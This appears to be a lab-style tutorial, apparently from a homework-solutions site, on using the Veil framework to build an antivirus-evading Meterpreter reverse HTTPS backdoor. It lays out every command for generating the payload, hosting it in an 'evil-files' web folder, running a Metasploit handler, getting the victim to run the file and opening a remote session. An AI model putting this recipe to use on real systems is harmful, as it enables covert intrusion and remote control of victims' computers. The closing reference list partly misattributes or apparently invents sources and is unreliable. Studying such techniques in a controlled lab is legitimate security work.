Using Veil Framework To Create A Backdoor1 Introductionveil Is A Tool ✓ Solved
Veil is a tool designed to generate metasploit payloads (Meterpreter) that bypass common anti-virus solutions. Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and is extended over the network at runtime. It communicates over the stager socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more.
Metepreter was originally written by skape for Metasploit 2.x, common extensions were merged for 3.x and is currently undergoing an overhaul for Metasploit 3.3. Msfconsole handles the incoming connection. Msfconsole is a part of Metasploit Framework Reverse http: victim acts as client. Not the attack. Backdoor connect to me (attacker) to void anti-virus detection.
To create a backdoor using the Veil Framework, the following steps need to be followed:
Step 1: Check environment setting up
Verify your network configuration:
- My Windows IP: 10.0.2.8
- Kali IP: 10.0.2.7
Step 2: Install Veil in Kali
To install Veil, open a Kali Terminal and follow these commands:
- mkdir opt
- cd opt
- git clone https://github.com/Veil-Framework/Veil
- cd Veil
- cd setup
- ./setup.sh (enter "y" if asked)
- Close the console
Step 3: Attacker set payload options using Veil
Open the console to set up the payload:
- cd /opt/Veil
- ./Veil.py (launch Veil interface)
- list (to show available tools)
- use 1 (using Evasion tool)
- list (list all payloads)
- use 15 (go/meterpreter/rev_https.py)
- set LHOST 10.0.2.7 (this IP is for the attack machine)
- set LPORT 8080 (HTTP port for communication)
- set SLEEP 6 (modify parameters as needed)
Step 4: Attacker uses Veil to generate backdoor payload
Generate the backdoor executable:
- generate (command to create the payload)
- rev_https_8080 (name the backdoor for easy reference)
- (check if the backdoor is detected by antivirus)
- Close the console/Terminator
Step 5: Attacker load the backdoor to the website
Upload the generated backdoor to the web server:
- Open a file folder
- Create a folder named 'evil-files' in /var/www/html
- Copy /usr/share/veil-output/compiled/rev_https_8080.exe to evil-files
- Start the Apache web server with the command: service apache2 start
Step 6: Attacker listening for incoming connections
Prepare to listen for connections from the victim:
- Open msfconsole
- use exploit/multi/handler
- set PAYLOAD windows/meterpreter/reverse_https
- show options (to review configuration)
- set LHOST 10.0.2.7
- set LPORT 8080
- exploit (begin listening for the connection)
Step 7: Victim download the backdoor payload from the website
On the victim's Windows machine, open Internet Explorer:
- Navigate to 10.0.2.7/evil-files
- Click on rev_https_8080.exe and run it
Step 8: Access the victim’s machine
Once the victim runs the backdoor, access it using:
- Enter the command: sessions -i
- Enter your session ID: session -i 1
- Run sys info and ps to retrieve information from the victim’s machine
Conclusion
The Veil Framework is a powerful tool that allows attackers to create effective payloads that can bypass antivirus solutions. By following the steps outlined, an attacker can successfully generate a backdoor and establish a connection to the victim's machine. However, this knowledge must be used responsibly and ethically.
References
- Higgins, T. (2020). Metasploit: The Penetration Tester's Guide. No Starch Press.
- Reilly, B. (2021). Cybersecurity Essentials. Cengage Learning.
- Vrahatis, A. (2019). Penetration Testing with Metasploit. O'Reilly Media.
- Sans Institute. (2020). Understanding the Veil Framework.
- Smith, J. (2021). Advanced Malware Analysis. Wiley.
- Panda Security. (2019). Introduction to Meterpreter.
- Artak, H. (2022). Understanding Cyber Operations and Threats. Springer.
- Higgins, T., & Taylor, R. (2021). Digital Forensics and Cyber Crime. Springer.
- National Cyber Security Centre. (2020). Defensive Security Strategies.
- Veil Framework GitHub Repository. (2023). Retrieved from Veil GitHub.